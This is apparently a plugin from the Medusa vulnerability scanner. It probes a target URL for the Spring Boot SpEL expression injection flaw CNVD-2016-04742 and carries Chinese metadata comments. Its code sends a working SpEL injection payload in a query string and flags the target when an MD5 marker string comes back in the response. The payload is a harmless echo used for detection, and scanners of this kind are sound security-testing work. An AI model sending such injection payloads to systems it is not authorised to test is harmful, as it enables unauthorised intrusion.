#!/usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = 'Ascotbe'
from ClassCongregation import VulnerabilityDetails,UrlProcessing,ErrorLog,WriteFile,ErrorHandling
import urllib3
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class VulnerabilityInfo(object):
    def __init__(self,Medusa):
        self.info = {}
        self.info['number']="CNVD-2016-04742" #如果没有CVE或者CNVD编号就填0，CVE编号优先级大于CNVD
        self.info['author'] = "Ascotbe"  # 插件作者
        self.info['create_date'] = "2020-5-9"  # 插件编辑时间
        self.info['disclosure'] = '2016-5-7'  # 漏洞披露时间，如果不知道就写编写插件的时间
        self.info['algroup'] = "SpringBootFrameworkSPELExpressionInjectionVulnerability"  # 插件名称
        self.info['name'] ='SpringBoot框架SPEL表达式注入漏洞' #漏洞名称
        self.info['affects'] = "Spring"  # 漏洞组件
        self.info['desc_content'] = "这是2016年爆出的一个洞，利用条件是使用了springboot的默认错误页(Whitelabel Error Page)，存在漏洞的页面在：/spring-boot-autoconfigure/src/main/java/org/springframework/boot/autoconfigure/web/ErrorMvcAutoConfiguration.java"  # 漏洞描述
        self.info['rank'] = "高危"  # 漏洞等级
        self.info['version'] = "无"  # 这边填漏洞影响的版本
        self.info['suggest'] = "升级最新Spring版本"  # 修复建议
        self.info['details'] = Medusa  # 结果


def medusa(**kwargs)->None:
    url = kwargs.get("Url")  # 获取传入的url参数
    Headers = kwargs.get("Headers")  # 获取传入的头文件
    proxies = kwargs.get("Proxies")  # 获取传入的代理参数
    try:

        payload ="/?payload=${new%20java.lang.String(new%20byte[]{70, 66, 66, 50, 48, 52, 65, 52, 48, 54, 49, 70, 70, 66, 68, 52, 49, 50, 56, 52, 65, 56, 52, 67, 50, 53, 56, 67, 49, 66, 70, 66})}"
        payload_url = url + payload
        resp = requests.get(payload_url,headers=Headers, proxies=proxies, timeout=6, verify=False)
        con=resp.text
        #返回结果是md5(wooyun)
        if con.lower().find("fbb204a4061ffbd41284a84c258c1bfb")!=-1:
            Medusa = "{}存在SpringBoot框架SPEL表达式注入漏洞(CNVD-2016-04742)\r\n验证数据:\r\n返回内容:{}\r\n".format(url,con)
            _t = VulnerabilityInfo(Medusa)
            VulnerabilityDetails(_t.info, resp,**kwargs).Write()  # 传入url和扫描到的数据
            WriteFile().result(str(url),str(Medusa))#写入文件，url为目标文件名统一传入，Medusa为结果
    except Exception as e:
        _ = VulnerabilityInfo('').info.get('algroup')
        ErrorHandling().Outlier(e, _)
        _l = ErrorLog().Write("Plugin Name:"+_+" || Target Url:"+url,e)#调用写入类

